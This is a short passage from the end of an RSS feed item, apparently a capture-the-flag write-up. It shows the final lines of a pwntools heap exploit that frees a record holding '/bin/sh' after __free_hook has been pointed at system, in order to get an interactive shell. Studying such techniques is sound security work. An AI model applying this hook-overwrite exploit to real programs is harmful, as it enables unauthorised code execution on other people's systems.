new_record(0) # now free hook points to system
info(&quot;Creating Record[13] with /bin/sh from Dog[1]&quot;)
new_record(1)

warn(&apos;Freeing Record[13] to trigger __free_hook = system(&quot;/bin/sh&quot;)&apos;)
trigger_free_hook(13)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>